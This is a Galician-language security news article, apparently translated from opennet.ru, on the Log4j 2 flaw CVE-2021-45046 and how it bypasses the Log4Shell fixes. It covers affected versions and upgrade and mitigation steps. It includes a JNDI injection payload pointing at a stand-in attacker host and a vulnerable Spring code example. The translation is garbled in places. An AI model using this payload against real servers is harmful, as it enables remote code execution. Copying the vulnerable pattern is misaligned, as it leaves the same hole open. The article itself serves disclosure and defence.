Identificouse outra vulnerabilidade na implementación de buscas JNDI na biblioteca Log4j 2 (CVE-2021-45046), que aparece a pesar das correccións engadidas na versión 2.15 e independentemente do uso da configuración "log4j2.noFormatMsgLookup" para a protección. O problema é perigoso principalmente para versións antigas de Log4j 2, protexidas mediante a marca "noFormatMsgLookup", xa que permite evitar a protección de vulnerabilidades anteriores (Log4Shell, CVE-2021-44228), o que che permite executar o teu código no servidor. Para os usuarios da versión 2.15, a explotación limítase a provocar un fallo da aplicación debido ao esgotamento dos recursos dispoñibles.
A vulnerabilidade só aparece nos sistemas que usan Buscas de contexto para o rexistro, como ${ctx:loginId}, ou modelos MDC (Mapa de contexto de fíos), como %X, %mdc e %MDC. A operación redúcese a crear condicións para a saída de datos que conteñan substitucións JNDI ao rexistro cando se usan consultas de contexto ou modelos MDC na aplicación que definen as regras para dar formato á saída ao rexistro.
Os investigadores de LunaSec sinalaron que para as versións de Log4j inferiores a 2.15, esta vulnerabilidade pódese usar como un novo vector para un ataque Log4Shell, o que leva á execución de código se se usan expresións ThreadContext que inclúen datos externos na saída do rexistro, independentemente de que o " noMsgFormatLookups" ou o modelo "%m{nolookups}".
Omitir a protección redúcese ao feito de que en lugar de substituír directamente "${jndi:ldap://attacker.com/a}", esta expresión substitúese polo valor dunha variable intermedia utilizada nas regras para formatar a saída do rexistro. . Por exemplo, se se usa a consulta de contexto ${ctx:apiversion} ao enviar ao rexistro, entón o ataque pode levarse a cabo substituíndo os datos "${jndi:ldap://attacker.com/a}" no valor escrito na variable apiversion. Exemplo de código vulnerable: appender.console.layout.pattern = ${ctx:apiversion} - %d{aaaa-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // O valor da cabeceira HTTP "X-Api-Version" pásase ao ThreadContext ThreadContext.put("apiversion ", apiVersion ); // Ao saír ao rexistro, o valor de apiversion externo procesarase usando a substitución ${ctx:apiversion} logger.info("Recibiuse unha solicitude para a versión da API"); volver "Ola, mundo!"; }
Na versión 4 de Log2.15j, a vulnerabilidade pódese usar para realizar ataques DoS ao pasar valores ao ThreadContext, o que provoca un bucle no procesamento do modelo de formato de saída.
Para bloquear a vulnerabilidade, publicáronse as actualizacións 2.16 e 2.12.2. Na rama Log4j 2.16, ademais das correccións implementadas na versión 2.15 e a vinculación das solicitudes LDAP de JNDI a "localhost", a funcionalidade JNDI está completamente desactivada por defecto e elimínase o soporte para os modelos de substitución de mensaxes. Como solución de seguridade, suxírese eliminar a clase JndiLookup da ruta de clase (por exemplo, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Podes rastrexar a aparición de correccións en paquetes nas páxinas das distribucións (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) e dos fabricantes de plataformas Java (GitHub, Docker, Oracle, vmWare, Broadcom e Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, etc.).
Fonte: opennet.ru